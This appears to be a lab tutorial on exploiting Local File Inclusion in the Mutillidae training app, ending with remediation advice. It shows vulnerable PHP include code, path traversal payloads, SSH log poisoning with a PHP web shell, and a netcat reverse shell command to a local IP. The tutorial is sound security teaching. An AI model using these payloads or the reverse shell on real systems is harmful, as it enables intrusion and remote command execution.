https://wiki.owasp.org/index.php/Testing_for_Local_File_Inclusion
The File Inclusion vulnerability allows an attacker to include a file within the system, this happens due to bad handling of user input.
Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, the parameter might be able to be passed in via either GET (URL) or POST (variables) due to the parameters pollution flaw. Using the parent traversal operator (“..”) can help break out of the web server file folders. Also, direct file paths can be tried.
This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:
- Code execution on the web server
- Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
- Denial of Service (DoS)
- Sensitive Information Disclosure
Example of vulnerable code
<?php
$file = $_GET[‘file’];
if(isset($file))
{
include(“$file”);
}
else
{
include(“index.php”);
}
?>
Demo
1. Access to OWASP 2017 – “A5 – Broken Access Control” – Insecure Direct Object References – Local File Inclusion
2. Make a request and grab it with BurpSuite for further analysis
We see this is a GET request and the parameters can be modified via BurpSuite or directly from the URL in the browser. This time I decided to keep playing with BurpSuite.
3. Modify the request and try to see a common file, we use the path as below to make sure we go back to the root directory, also, you can encode the value to try to skip user input validation.
- page=../../../../../../etc/hosts
Edited request
Server response
In the browser we see the following
This means that /etc/hosts can be read via LFI.
Log Poisoning to Remote Code Execution
This technique is used to poison any log if you can write append to it. This case we will use auth.log this is an ssh log located in /var/log/
1. Try to read that file using LFI technique
There are possible results:
- Display file auth.log content: If the user has permission to read it
- Display blank page: It exists but can’t be read or displayed
- 404 error: The file doesn’t exist
2. In this case we can read the file. Since, SSH is used to write on this file, we use SSH to try to leave a log entry.
- ssh vk9sec@192.168.0.13
This is the log entry, if we have access to the server
- tail -n 5 -f auth.log
Since, we can read the file from the browser we search for that entry
At this point we know we are writing to this file.
3. Now, we will poison the log file with the following entry
- ssh ‘<?php system($_GET[‘cmd’]); ?>’@192.168.0.13
Looking at the log locally from the server I found the entry
- tail -n5 -f auth.log
In the browser I found this entry
- “Invalid user from 192.168.0.13 port 43318”
4. Now we have injected the “cmd” variable to execute system commands, let’s try that out. We will be printing the current working directory
- http://127.0.0.1:8080/mutillidae/index.php?page=/var/log/auth.log&cmd=pwd
Here we can see the output of pwd command. We are executing those. Now we will execute a reverse connection.
5. To have the remote session start the listener
- nc -lvp 4444
Now run the following command instead of the pwd
- http://127.0.0.1:8080/mutillidae/index.php?page=/var/log/auth.log&cmd=nc –e /bin/bash 192.168.0.13 4444
The listener now should have got the remote connection.
Remediation
The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.